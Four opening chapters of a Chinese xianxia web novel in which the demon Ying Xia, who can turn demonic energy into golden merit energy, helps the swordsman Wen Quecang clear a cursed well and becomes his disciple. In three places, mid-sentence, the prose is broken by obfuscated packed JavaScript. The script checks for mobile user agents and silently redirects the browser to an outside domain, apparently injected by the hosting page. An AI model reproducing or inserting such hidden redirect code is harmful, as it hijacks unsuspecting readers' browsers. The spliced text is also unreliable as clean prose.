《我被功德金光倒贴了》 1. 第 1 章 南疆,黑云压境,鸟兽惊逃。 连阳光都吞噬殆尽的深渊中,庞大浓郁的魔气如凶兽,暴躁地在最深处冲撞翻涌,后又逐渐朝中心聚拢,慢慢地,竟是凝出一个人形来。 而此时,一道金光从天而降,破开厚重的黑云,直照在那魔气凝聚的人形上。 人形慢慢睁开了眼睛,那是一双血色的红瞳,似因金光,其中一只眼睛被逐渐染上金色,最后形成的是一红一金异色双眸。 既漂亮又诡异。 - 天还没亮,便有人背着箩筐走十几里路去山上找药材。 若不是老娘病着,家里又实在揭不开锅,牛大庄也不必跑这么远,是镇上药店伙计跟他说,南边的山上有不少上好药材,见他孝顺便顾他去找药材。 牛大庄擦掉手里的汗,小心掏出一薄本翻看上头画着的药材模样,确认记住了才贴身放好。 伙计说,最金贵的药材长在西面,他得翻过山头才看得见,牛大庄见离山顶不远了,便一鼓作气爬了上去。 谁知这山的另一头竟是光秃秃的没路了,像是被陡然削断似的。 还没等他仔细查看,一只苍白见骨的手突然伸出,攀住崖边。 牛大庄吓了一跳,一屁股坐在地上,被石子磕得面目狰狞,哆嗦着嘴唇,从喉咙里挤出一个字:“……鬼!” 眨眼间,一名身着黑袍的少年落在了崖边,他盯着狼狈的牛大庄,说:“我不是鬼,我叫应夏,刚取的名字,好听么?” 一抹朝晖照在了那名叫做应夏的少年脸上,他有双小鹿般纯粹清澈的褐眸,五官精致漂亮,嘴唇很红。 牛大庄不自觉咽了咽口水,他没读过书,却也知道面前这个少年长得很美,就像说书人口中那种……鱼沉了燕子落了。 “喂,我问你话呢。”少年的声音也格外好听,如清泉击石。 牛大庄懵懵地回答:“啊,好、好听。” 应夏唇角上扬,毫不掩饰眼底的笑意,他轻声哼着不着调的曲子,走下山去。 等少年走远了,牛大庄才回过神来,从地上爬起来,发觉得背篓的重量不太对劲,他拿下来一看,竟是装满了半筐子的草药! 牛大庄匆忙从怀里掏出小薄本,对照着本子上的药材,没错,一样都没错!本子上画的药材竟全都在背篓里了! 再抬头看那少年,他正迎着初升的朝阳走去,步伐轻快。 “仙人,是仙人!” 牛大庄朝少年离去的方向跪下,恭敬地磕了三个头,嘴里念叨着:“谢谢仙人,谢谢您!我娘有救了,谢谢仙人……” 应夏没有在意身后的动静,注意力集中在手心的一团黑雾上,那是极为浓郁的魔气。 手指微动,几缕金线缠绕上掌心的魔气,将其牢牢包裹了起来,转瞬间那魔气就变成了澄澈清新的灵气。 不管怎么看,都看不出它原来是团魔气,应夏刚试验过,拿这团魔气变化的灵气去摘取山中的灵植。 灵植可比人敏感多了,竟是一点儿都没有排斥,好像它本来就是灵气似的。 应夏眼睛微眯,心念一动,灵气四散而去,不过几下眨眼的功夫,手里便多了几朵洁白的野花,微弱的灵气从根茎内部呼应着缠绕在外面的灵气。 他能自如驱使魔气,也一样对这灵气通用。 应夏轻轻碾碎野花,让和煦的风带其回归自然,他继续哼着不成调的曲子,漫步在山林间。 直到日头挂到正中,应夏才走到最近的小镇。 正是饭点,镇上的客栈酒馆里人声嘈杂,菜香与酒香混杂着飘出老远,似要争个高下。 这些都没扰了应夏的兴致,反而是一道微醺低沉的轻声抱怨,令他停下了脚步。 “谁哼的曲子?怎么五音不全……” 应夏仰头望去,那是一间酒楼,临街的窗户敞着,那个抱怨的人正抵着窗沿,一手撑着头,许是察觉到他的视线,也朝他望来。 那人倒是有个好相貌,丰神俊朗五官深邃,似因微醉,一双桃花眼含着潋滟春水,柔和了冷峻的面容,只是那张薄唇没吐出好话来。 不过,应夏对好看的人格外宽容。 酒楼旁种的树抖了抖枝叶,风撩起了几片叶子卷向那人,划过时有细微破空气声,藏在簌簌声下微不可闻。 但说他哼歌难听除外。 那人似是无意,在叶子将要碰到他时,撑起上身微微舒展,伸了个懒腰,手背有意无意轻打了下叶子,那几片叶子便服帖地落在了窗沿上,乖得很。 温却沧薄唇微勾,染着水色的桃花眼依旧印着树下少年的模样。 只见少年微蹙了眉,红唇抿住了唇瓣上点着的一颗诱人小痣,嘴角稍下拉,鹿似的清澈褐瞳瞪了他一眼,转身便走。 温却沧:“……” 他看着那负气的背影怔了怔,随即又笑开,轻声道:“脾气还挺差。” 应夏心里存着气,捡了一根枯枝当成刚才那人摧残,一点一点狠狠掰断。 他现下的修为才练气,有魔气加持也不过筑基,那人的修为在刚刚的试探中,至少比他高两个境界,根本打不过,只能跑路。 不过下次若是再见他,一定要让他……收回五音不全的那句话!他哼歌明明很好听好不好?不懂欣赏! 用力踩了踩枯枝的残骸,应夏出了气,这才发觉自己似乎走偏了路,已然出了镇中心。 不远处是一大片秧田,有几个身着粗布短打的农夫在一旁的井边打水,而后挑着水桶去地里灌溉秧苗。 没了市集吵嚷的叫喊声,扑面而来的清风吹散了心中的烦闷,也带来了一句清晰的“欲望”。 「报仇,我要报仇!杀了他,我要杀了他!」 自从应夏在深渊中睁开眼睛后,他便能听见世间最强烈的“欲望”或者说是“心声”。 微挑眉,突然来了兴趣,应夏慢步走向那口传来心声的井。 刚走近几步便察觉不对,那井底盘踞着一团魔气,与应夏天生魔气不同,是由怨气和阴气化成的后天魔气,颇为凶煞。 一般人的怨气是无法转变成魔气的,除非死的人很多或者这个人生前很强。 这口井不大,塞不下那么多人,应该是后者。 应夏站在井边,白皙的手指抚上边缘,强烈的魔气汹涌而上,却被一层看不见的屏障遮挡了回去。 竟是有阵法! 指尖凝聚出几缕魔气,瞬间便被不明力量吞噬干净,应夏皱眉,又尝试放出灵气,这回有了反应,井口闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736101|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现了几下法阵的纹路。 灵气轻松通过法阵后,因为太过微弱,很快便被凶煞的魔气吞噬,连渣都不剩。 这布阵人倒是有意思,魔气不行灵气行,既可阻挡井底的魔气,也防止其他魔或魔修救他,又限定了能通过此阵的只有灵气,相当于非常安全的单向输出通道。 若是真有修者发现,大抵是会顺着布阵人的意思帮他除去后患,再不济也能削弱一些魔气。 可惜,布阵人没算到,世间竟有能让魔气变为灵气的魔。 应夏对井底那个欲望的兴趣更浓了,但他不知如何解阵。 不过穿过法阵查探井底情况,还是做得到的,他需要一些媒介,而且是能穿过法阵的媒介。 拥有充沛灵气的灵植是最好的选择。 以应夏目前的修为,驱使魔气的范围在方圆十里,但这方圆十里,竟没有一株含有灵气的植物。 明明四周山清水秀灵气十足,不知为何,身处风水宝地的泉明镇却灵气稀薄,他要找灵植都得去远处的山上。 应夏屈指敲了敲井壁,道:“你可得给我讲个有意思的故事当做酬劳。” 一波魔气又涌了上来,但应夏读不出任何意思,只能默认这是答应了。 等应夏再回到井边,天已漆黑,那口井孤零零的杵在那里,生出些寂寥恐怖来。 他直接坐在了井边,将一根灵草套着魔气再裹层金线扔进去。 法阵闪了闪纹路,允许灵草通过,井底的凶煞很快吞噬了那根灵草,却因掺杂金线的魔气护着消化不了,又被吐了出来。 金线与魔气融入灵草中,应夏用神识借着灵草查看井底情况。 浓重的魔气在井底乱窜着,灵草带着神识飘飘悠悠的浸入水中,应夏立刻感受到一片刺骨的寒意,很快他的注意力被水底的东西吸引过去。 那是一具火红的尸骨,周围缠绕着漆黑浓郁的魔气。 红色的尸骨,倒是新奇的很,应夏控制着灵草飘得更近一些,这才看清了那具尸骨上靠近心脏的一节肋骨有断裂痕迹,想来应该是被人一剑穿心。 这节断裂的肋骨与其他骨头不同,是纯黑色的,井底魔气的来源便在此处。 应夏眼底闪过一丝惊讶,这是一节魔骨! 他没忍住,灵草上的魔气突然伸向那节魔骨,触碰到的那一刻,嗜血的杀意瞬间绞碎了灵草。 强烈的情绪与欲望顺着媒介反冲入应夏的脑海,他身子一歪,整个人朝井里倒去! 应夏做不出任何反应,他眼前是一片血红的火海,耳边有凄厉鸟叫声。 他还看到了一把薄刃向胸膛袭来。 就在此时,一柄剑止住了他坠井的趋势,熟悉的声音穿透火海而来:“好好的,怎么想不开了?” 应夏看到了一片翠绿的叶子落在那薄刃上,幻境自这片叶开始崩塌,植被混合泥土的清香盖过焦土味,清风带走凄厉鸟啼,他似乎被拥进了阳光中,温暖和煦。 眼前的血红火海被敲碎,一块块剥落,露出一双映着繁星的桃花眼。 应夏还怔着,不自禁说了句什么,微不可闻。 抱着他的人却听清了,带着笑意低声道:“是啊,人间有如此美的景色,怎舍得?你可别想不开。” 2. 第 2 章 应夏终于回过神来,发现自己正靠在温却沧的怀里,他抿了抿唇,快速起身离开。 “怎么又生气了?”温却沧见少年脸上明晃晃挂着“我不开心”四个大字,好笑地问道。 应夏盯着他,半晌没说出话来。 就在温却沧准备放弃的时候,听到少年略有别扭地一字一句道:“谢谢你。” 这语气倒像是对仇人似的。 温却沧不禁莞尔,抱着剑问道:“看你这样也并非想寻死,难道是被井里的魔气影响了?” 闻言,应夏睁大了眼睛,澄净的眸子里写着“你怎么知道”。 “深更半夜来这鬼地方,难不成真来赏夜景的?”温却沧拿剑鞘点了点井口,“而且就算本来不知道,现在站得这么近,不知道也知道了。” 应夏望入那口幽深的井,说:“我……听见井中有人说话。” “说什么?”温却沧有些意外。 “报仇、杀了他之类的,应该是被人害死抛尸井中。” 应夏回想起刚才的幻境,“我好像,还看到了他的记忆……” 话没说完,太阳穴传来刺痛,应夏眼前一黑,人又向后倒去。 在意识完全沉入那片血红火海前,应夏感觉有一抹温热扣住了他的手腕,轻轻使力,他便再次将阳光抱了满怀。 这一次,应夏没有醒来,他想要那节魔骨,就得弄明白那具火红的尸骨是谁。 - 等应夏再次睁开眼,发现自己正躺在一间破旧的小木屋里,透过窗子望去,外面的天刚蒙蒙亮。 “醒了?”温却沧坐在椅子上,似乎一夜未睡。不过对于修士来说,睡觉并不是必须。 还没等应夏开口问这是哪儿,一个大大咧咧的声音闯了进来:“恩公您终于醒了!” 来人便是牛大庄,他手上端着一碗热腾腾的米粥,小心放在桌上后,看向应夏,说:“恩公趁热吃,有事叫我,我去看看我娘。” 说完,便离开了屋子。 温却沧解释道:“我想你还未辟谷,等醒来该是饿了,便让牛大庄给你煮了粥,没有用沾了魔气的井水,快吃吧。” 一般练气修士确实还未辟谷,应夏便没有拒绝。 “没想到你也会随手帮人。” “你没想到的事情多了。” 被怼了一句,温却沧嘴角上扬的弧度更大了,微摇了摇头。 应夏坐到了桌子前,拿着汤匙小口小口地进食,温热的米粥进入食道后就被体内的魔气吸收干净,所以他吃东西都只是尝个味道。 喝粥时,二人都没有说话,屋子里安静得只剩下瓷器碰撞声。 温却沧的视线一直没有离开他,应夏忍不住放下勺子,问道:“那口井,怎么样了?” “我劈了那口井。” 应夏扶着碗的指尖用了些力。 桃花眼映出应夏紧绷的下巴,笑意漫了上来,温却沧耐心地解释道:“别担心,只是毁了井口,以免还有人继续从那打水。” “井上的阵法我也没破,那魔气逃不出来。” 温却沧修长的手指摩挲着剑鞘上的纹路,好奇道:“怎么,梦见什么了?” “为什么要告诉你?”应夏捏着汤匙,与瓷碗击出清脆声响。 温却沧的嘴角依旧勾着弧度,声音却十分无奈:“好歹我也救了你两次,就这么对我?” 应夏盯着碗里的半碗粥,都快被他捣成糊糊了。 让讨厌的人救了两次,他现在也太没用了!清澈的鹿眸凝聚了一些乌云,整个人都低气压着。 温却沧微讶,这少年脾气说变就变,心下无奈,如今这么单纯直白的人不多了,看来还是得哄着点。 “之前……” “对不起。”应夏放开紧捏的匙柄,垂了眼睫,乖乖地说,“谢谢你。” 温却沧那半句话卡在嘴边,他看着应夏垂着的脑袋,不知怎么,伸出手轻轻碰了下他的头顶。 神色是从未有过的柔软,他温声继续说道:“之前那么说你,是我欠考虑了。” “是你不懂欣赏!”应夏抬起头,一脸“你不识货”的矜贵模样。 温却沧笑着没有反驳,他可不敢这时候说实话,准备轻轻揭过。 “我叫温却沧。”说着,用灵力在虚空中写出字来,“你叫什么?” 应夏也学着他,用灵气在空中凝聚成金色的两个字,弯着唇角:“应夏,我的名字,是不是很好听?” 等了一会儿没等来预想之中的赞叹,应夏发现温却沧看着他浮在虚空中的名字发愣。 正疑惑着,只见温却沧突然伸手握住了那两个字,应夏呼吸微滞。 修长好看的手只是虚握着,金色的灵气乖巧地被圈在掌心里,温却沧动了动手指,逐渐展开,那金色的灵气便化作几缕飘散开来。 应夏稍松了口气,不知怎么,刚才他握着那名字,像是自己也被握住了一样。 “这名字很特别吗?”应夏不解,怎么是这么个反应。 特别的不是名字,而是凝成名字的金色灵气。 常理来说,修仙者炼化灵气产生灵力,施法用器都是依靠灵力,从来没有人能直接驱使灵气,更何况这灵气还是金色的。 金色的灵气是功德的象征,多少修仙者趋之若鹜,眼前的少年竟能随意驱使,怕不是上辈子是个大善人吧?不,恐怕得是个十世大善人! 温却沧与他说了金色灵气和功德的事情。 “你或许是十世大善人转世,才天生带着功德,可直接驱使金色灵气。” 应夏:“……”骗魔呢? 十世大善人会转世成一个魔? 而且这个金色灵气是他用金线将魔气转换的,本源是魔气,怎么就成功德金光了? 不过,从另一个角度来说也好,至少没人会怀疑一个带着功德的十世大善人会是魔。 想通后,应夏接受了这个说法。 “你还没回答,我的名字到底好不好听?” 重点是这个?温却沧好久没有遇到这样有意思的人了,他掩了掩嘴角的笑意,说:“应夏,你的名字很好听。” 应夏像是终于满意了,抿着唇上那颗小痣笑了。 温却沧看着应夏盛着笑的干净眼眸,那双桃花眼里露出少见的沉静,他想了想,认真道:“你愿不愿意做我的徒弟?” 应夏瞪大了眼睛,颇为震惊,似乎不知道话题是怎么跳到这里来的。 “或许有些唐突, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736102|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我是认真的。”温却沧的手指短暂握了下袖口,“我是剑修,也会符咒阵法炼器……” 说到半截,温却沧突然剑眉微蹙,拿起剑闪身离开,应夏只感觉到一阵清风吹过,屋子里便没了人影。 随即传来的是牛大庄的惨叫声。 “娘——!!” 应夏扔下碗勺也站了起来,刚出门他便闻到了风中躁动的细微魔气。 不大的院子中,一位瘦骨嶙峋的老妇人瞪着双布满血丝的眼睛,十指成爪朝跌坐在地上的牛大庄扑去! 与此同时,一道比老妇人动作更快的符咒锁住了她的动作,危机顷刻而解。 牛大庄见娘被困住,也不敢随意上前,只好跪在面前,哭道:“娘,你怎么也中了邪,都是儿子没用!” 然后又转身跪向温却沧和应夏,磕头道:“求求二位仙人救救我娘!” 应夏从那老妇人身上感应到了微弱的魔气,与之前井中的差不离。这么微弱,应该只是吃了井水浇灌的东西,若是直接喝井水怕是已经没命了。 他虽然可以直接将那魔气抽出,但怕牛大庄的娘撑不住,所以没有动作。 温却沧将牛大庄扶起,走到老妇人面前,点了点她的额头,一圈细微的波纹在空中荡开,微弱的魔气便被清得一干二净。 解开符咒后,牛大庄抱住了老妇人,连声朝温却沧道谢后,便抱着他娘回了里屋。 温却沧转身背着朝阳,一只手夹着符咒轻晃了晃,笑着问他:“怎么样,想不想学?” 应夏没有说话,抬起一根食指在空气中画出那符咒上咒文的模样,金色的灵气随着他的动作一笔一划,完成后将金色的咒文朝温却沧一推,顺利锁住了他乱晃的手。 桃花眼里满是惊喜,温却沧看着站在门口不甘示弱的少年,温声道:“是我说错了,你这么厉害,愿不愿意把师父我会的都掏空,让自己变得更厉害?” 应夏双手抱臂,轻哼了一声:“也不是不行。” “好,等此事了结,你便随我回玄衍宗,届时再行拜师礼。” 温却沧手指微动,那金色灵气铸成的符咒便应势而碎,散成了金粉。 应夏看着他的动作,没有说话,却已默认。 他现在太弱了,拜个师父既能慢慢变强,也给了他一个身份,可以方便在这些修仙者中行事。 应夏瞥了眼温却沧的脸,这人实力不俗,样貌顺眼,白捡的便宜师父不亏。 这时,牛大庄安置好他娘走了出来,听到了“玄衍宗”三个字,惊喜道:“原来是玄衍宗来的仙长,想必是来解决镇上的怪事吧!” 温却沧点了点头:“是,我接了泉明镇的委托,昨日刚到。” “诶唷!仙长来得及时,我记得这委托三日前刚交上去。”牛大庄起了话头,“仙长您不知道,这怪事是从三个月前开始的,起初没这么邪,只是有人像发羊癫疯似的,不过也只是一阵就好,后来逐渐严重了起来……闹出了人命来,这才向玄衍宗求助。” “和我在酒楼中打听到的差不多。” 应夏皱眉,奇怪道:“三个月前?” 温却沧问:“怎么?” “不对,井中尸骨已经百年,不可能三个月前才事发!” 3. 第 3 章 二人站在毁坏的井边,应夏看着被石头堵死的井口,回想着那个火红的梦境,捡了一些能说的告诉温却沧。 尸骨是一个修仙者,因发现歹人做恶事而被灭口,抛尸井中,他在这井底已经躺了一百多年。 “如果他没骗我的话,横死后被仇人关在井中,怨气很大,就算怨气变成魔气需要时间,但也不应该三个月前才形成魔气。” 而且井口特意被人布置了阵法,应该也是想着尸骨会化出魔气,才防了一手。 “难道这阵法还有减缓魔气形成的作用?” “不是。”温却沧那剑戳了戳阵法,“我大概知道是怎么回事了。” 应夏追问道:“那是因为什么?” “跟我来。” 温却沧带着他走到了东边的一座山头上,茂密的树木层层叠叠地生长着,他们没有走那几条显而易见的小路,反而踏着崎岖不平的山地拐进山林深处。 应夏看着地上斑驳的阳光,想到尸骨给他讲的故事,有些修仙者面上是正人君子,背后却有多副面孔。 再加上自从来到这世间,一直能听到一些令人作呕的“欲望”……他对修仙者实在没什么好感。 不过他没听到过温却沧的心声,安静得很,许是因为温却沧现在还没有什么特别强烈的愿望。 突然想到了什么,应夏皱了眉,刚才说想收他为徒的时候,难道也不是特别强烈的希望吗?明明看上去那么诚恳,他才答应的…… 应夏不动声色地剜了几眼温却沧宽阔的背影,心里给便宜师父打上“虚伪”的标签。 温却沧若是知道应夏的想法,估计会大喊冤枉,他确实是诚恳的希望能收他为徒,只是不愿强求罢了。 “到了。” 应夏环视四周,都是树,没发现什么异常。 只见温却沧伸手在空气中画了几下,应夏听见一声轻响,似乎是什么东西骤然崩塌的声音。 马上他便察觉到了不对劲,空气中的灵气循环不对,全部都朝着一个方向跑,却很快不见踪影,像是被什么东西吸收了似的。 “这是转灵阵。” 温却沧将剑鞘点在地上的一颗石头上,刹那间,地上浮现出几条黑色的线,形成一个完整的阵法来。 原来是这阵法在吸取附近的灵气! “难怪泉明镇明明身处风水宝地,却灵气稀薄,原来全都被这转灵阵吸走了。”应夏有些不屑,这布阵的修仙者竟是连凡人的灵气也要抢。 “这阵法应该是几个月前刚布置的。”温却沧转过身,看着应夏说道,“若是没有这个阵法,泉明镇该是个山清水秀的福地,灵气十分充足。” 应夏明白过来:“你的意思是,充足的灵气可以抑制怨气转化,然而这转灵阵吸走了灵气,才导致魔气渐生。” “没错。我昨天意外发现这里有转灵阵,但即便有这阵法,泉明镇上也不至于生出魔气,便暂时没有动,想先看看到底是怎么回事。” 然后温却沧便找到了那口井,看到应夏正要跌到那井里。 “看来这是两拨人做的。”应夏分析道。 尸骨的仇人没必要多此一举弄这转灵阵,后来的人不知道尸骨的事情,见泉明镇上灵气十足便心生歹意,还特意做了遮掩,为的就是不想让人发现。 可惜,也正是因为这转灵阵,导致尸骨生出魔气,泉明镇出现那些怪事,引来别的修仙者仔细查探,致使转灵阵暴露。 应夏看着温却沧蹲下身,伸手去摸地上的阵法,问道:“现在你打算怎么做?” “破阵。”温却沧站了起来,“每个阵法都有一个阵心,破坏这个阵心就能破阵,你仔细看着。” 应夏挑眉,明白这是便宜师父打算教自己如何破阵,便谨慎起来观察着他的一举一动。 温却沧并未拔剑,只是抬起了剑,林中惊起不少鸟雀,应夏感受到了那柄剑上汹涌磅礴的灵力,体内的魔气因这精纯的灵力躁动不安,他不禁后退半步。 突然,地上的阵法纹路动了起来,黑色的纹路凝出实质的丝线,锋利无比。 锋利的丝线首先护住了一个地方,阵心也因此暴露。 “这是转灵阵的保护机制,有些阵法是保护,有些阵法是隐匿,各有不同。” 话音刚落,温却沧动了。 他迅速且精准无误地将剑插在了被丝线层层包裹的阵心,灵力势不可挡地绞碎了丝线,荡开一圈强烈的风。 应夏用灵气挡开卷起的碎叶,呼出一口气。 温却沧放下剑,看向他,原本眼里的凌厉很快被掩去:“怎么样?学会了没。” “知道了。”应夏想起井口的阵法,问道,“那封印尸骨的阵法也可以用这招吗?” 温却沧顿了顿,说:“那阵法比较复杂,即便你寻找到阵心,也不容易破,还可能会被反噬,切勿轻易尝试。” “那你能破吗?” “能。” “……” 说来说去,就是应夏现在修为不够,破阵也只能破简单的阵,甚至都看不出转灵阵上的遮眼法。 温却沧看着突然沉默的应夏,想出言安慰,又怕伤了少年的自尊心。 踌躇间,温却沧对上了应夏的视线,那双清澈的褐眸里燃烧着强烈的欲望——他想变强。 应夏脊背挺直,移开视线,转过身,说了一句: “师父,我们走吧。” 温却沧没想到会听到这个,他愣住了,但很快回过神来,追上少年,温声应了他那句称呼:“乖徒。” 是他多虑了,少年比他想象得更为坚韧,倒是一块璞玉。 应夏似乎极为不习惯,瞪了他一眼,却没有反驳。 温却沧很久没有这么开心过了,觉得这一趟下山真是十分值得。 “那井里的尸骨怎么办?”应夏边走边问道。 “怨气而生的魔气,不好处理,但也不是不能处理。”温却沧心中已有想法。 “你是打算……” “除魔。” 应夏微蹙眉,温却沧看得出来他有些不愿意,可能是在梦境中看到了尸骨的过去,对他生了同情之心。 “虽然他是被害而死,但这魔气已经影响镇民还闹出了人命,必须解决。” 温却沧劝道:“你该想想还活着的人,牛大庄还有他的娘。” 应夏其实是在想那节魔骨,见温却沧误会了也没反驳,只是说:“我明白。” 他们在牛大庄家等到了日落。 晚上田地附近无人,才好动手,以免没控制住魔气伤及无辜。 温却沧在井口附近布了阵,隔绝外界,阵内自成一块天地,即便魔气逃散,也出不了这个阵法。 这一回破阵,温却沧拔出了剑。 应夏看着那雪白的剑身,只觉得普通极了,可就是这么普通的一柄剑,劈出了惊天之势。 他看到那一剑极快,剑气极强,就连灵气都被其斩断,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736103|157322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑气穿过之地似乎都成了真空地带,没有任何的东西能贴近那剑。 井口的阵法根本抵挡不住这样的一剑,破碎开来。 应夏想着,找不找得到阵心似乎也没那么重要,如果当一个人的实力足够强,便能直接打碎阵法,根本无需思考那些花里胡哨的。 阵法破碎,魔气顺着被剑气破开的石缝翻涌出来,应夏握紧了手指,谨慎地盯着那团黑浓的魔气。 但凡被那魔气触碰到的植被,都瞬间枯死,可见这魔气十分厉害。 应夏却觉得不太对劲,明明温却沧里井口最近,这魔气出来就应该攻击他才对。 可是现在,那魔气像是畏惧什么似的,根本不敢靠近温却沧,只往另一个方向逃散。 魔气害怕温却沧?怎么可能?魔气怎会惧人?! 应夏看着正要抬剑的温却沧,皱着眉沉了思绪。 温却沧追着魔气又劈出一剑,这一剑与刚才不同,应夏似乎看见有霜雪飘落,凌冽的寒气冲向魔气,竟是将魔气逐渐冻结! 结冰的魔气很快被剑势震碎,一块一块冰晶落在地面上,转瞬间便化成无害的水,浸润地面。 「来,过来!你不是要魔骨吗?」 应夏猛地看向那口井,里面的尸骨在呼唤他,回想起梦境,他收敛了气息,往井中跳去。 等温却沧反应过来时,已经看到应夏跳入了井中,这回根本来不及阻止。 他解决了魔气后,便也跳入了那口井。 半晌,温却沧便抱着应夏从井中出来,二人浑身湿漉漉的,应夏紧闭着眼,手中抱着一堆火红的骨头。 温却沧用法术将二人的衣物烘干,看着应夏怀里红色的骨头,无奈地点了一下少年紧皱的眉心,道:“心思还不少。” 罢了,谁让是自己收的徒弟呢。 等应夏再次睁开眼睛,发觉自己又回到了牛大庄的屋里,他迅速坐起来,便看到桌上逐一摆放着的火红骨头。 温却沧坐在桌边瞧着那些骨头,察觉到他起身,便道:“好像还缺了一小节肋骨。” 应夏下床的动作微顿,抬头看去,温却沧并没有回头看他。 “我昏过去了,不清楚。” 温却沧点点头似乎是信了,说:“这是个成年男人,但却是红色的骨头……倒是让我想到一个人。” “谁?”应夏坐到了温却沧的对面。 温却沧笑着看他:“你会不知道?” 应夏一噎,微妙地生出些心虚来。 “传闻御兽门四位长老修炼的是神兽心法,此心法会使人发生一些变化,白虎长老的一双手化为虎掌,青龙长老长出一条尾巴,玄武长老肌肤如龟壳坚硬,这朱雀长老……便是生的一身火红骨头。” “只是这骨头生在肉里,自然是没人见过。” 温却沧拿起一根红色的骨头,“倒是没想到,竟在此处见到了。” 应夏看着红骨没说话。 “可是,朱雀长老明明还活得好好的。” 温却沧看到应夏眼底闪过诧异,轻叹了一声,“怎么,还不能和我说实话?” 应夏皱着眉纠结了片刻,只道:“我答应帮他报仇。” “他是谁?仇人是谁?你要怎么帮他报仇?” 应夏摇头:“我不能说。” 温却沧放下红骨,以手撑头,非常明显且故意地重叹口气,道:“你还真是个大善人。” 应夏:“……”倒也不是。 4. 第 4 章 温却沧指着那些火红骨头,问:“那这些东西你打算怎么办?” “这是他支付的报酬,我想融了造柄武器。” 应夏摸了摸红骨,这是上好的炼器材料,不能浪费。 “那我先帮你收起来。”温却沧轻轻一挥手,桌上的红骨便消失不见,“等回到玄衍宗,给你炼把趁手的武器。” 应夏的手放在桌子上,指尖毫无规律地划着上面的纹路,抬眸看了眼他,又很快垂下,似乎想说什么。 温却沧也不急,顺了顺剑柄上挂着的剑穗,有十足的耐心。 应夏停下动作,手指收在掌心,道:“若是你后悔了,可以趁早说。” 突然这么来了一句,温却沧没反应过来。 应夏面上镇定,眼睫却不安地垂着,盯着桌上的纹路,道:“你现在还愿意收我为徒吗?即便知道我身上可能会有很大的麻烦。” 而且还不是什么十世大善人,是个大魔头。 修仙者都是唯利是图之辈,便宜师父大概也如此吧,他可不想到时候听到什么埋怨自己的心声。 “反正还没行过拜师礼。”他又轻声补了一句,似乎没意识到自己说这话时极为别扭。 温却沧没忍住,伸手狠狠揉乱了应夏的头发,嘴角含笑:“师父都叫过了,难道你还想赖账?” 应夏一把拍开他的手,那双鹿眸又鲜活起来,毫不客气地瞪着他,道:“别乱摸我的头!” 话音未落,便听温却沧说:“我没有后悔。” 应夏一下子静了下来,眼眸认真打量他的神情,然后撇过脸,抿了抿唇,说:“就算你后悔也来不及了,我这个大麻烦已经赖上你了!” 温却沧再次伸出手揉他的头,温声道:“你不是麻烦,你是我的乖徒儿。” “都说了,别再摸我的头!”应夏又打开他的手,理着被弄乱的发丝,明明还抱怨着温却沧,嘴角却不自觉上扬,眼睛亮亮的。 温却沧笑着摇摇头,心道,还是个孩子。 “不过,我这里有几条规矩。” 应夏震惊:“几条?” 温却沧伸出五根手指,然后在应夏的灼灼目光中收回两根手指。 刚要开口,应夏抓住他的手,又强行掰回去两根,才满意地收回手看他。 温却沧看着自己竖着的一根食指,无奈纵容道:“好,我这只有一条规矩,不可滥杀无辜,你记住了。” 应夏点点头,声音轻快:“知道了,师父。” 反正他要杀的绝对不是什么“无辜”。 二人准备离开泉明镇,临走前,温却沧让应夏撒一些金色灵气在井水中。 “功德金光可驱一切邪魔,他们再喝下这水,体内残留的魔气便会消解。”温却沧解释道。 应夏看着手中的金色灵气,觉得真是滑天下之大稽,忍俊不禁。 温却沧奇怪:“笑什么?” “没什么。” 应夏与温却沧并肩走着,突然意识到自己竟然比他还矮一个头,之前都没注意,他又笑不出来了,明明他当时给自己捏的已经将近一米八了! 这人恐怕快一米九了吧?没事长这么高做什么?! 应夏又偷偷剜了几眼温却沧,却刚好撞上望过来的视线,愣了一下后看到那双桃花眼里的促狭,咬着唇快速撇过头。 温却沧不知怎么又得罪这位小祖宗了,赶紧找了个话题:“你想炼一把什么武器?” 应夏早有想法,说:“刀,给我打一把刀。” 温却沧有些意外:“为什么是刀?” “我出生于南疆,那里居住的人们成年后会得到一把刀,我也想要。” 温却沧看到应夏向往的神色,心中有了刀的模糊雏形。 “你成年了?” “……成年了!!” 玄衍宗离泉明镇有段距离,需要翻过好几个山头,以温却沧的脚程两天便可到,只是如今多了个应夏,他走得慢,一路上还要为美景驻足,温却沧便也随着他。 入夜微凉。 温却沧烤着火,将一件外袍披在了已然熟睡的应夏身上,看着他被火光照耀着的明艳脸庞,柔软了眼神。 应夏又梦到了那片血红火海,这回没有凄厉的鸟叫,火焰也只烧着外围,留出了一片绿意盎然的净土,一个红衣男子站在中央。 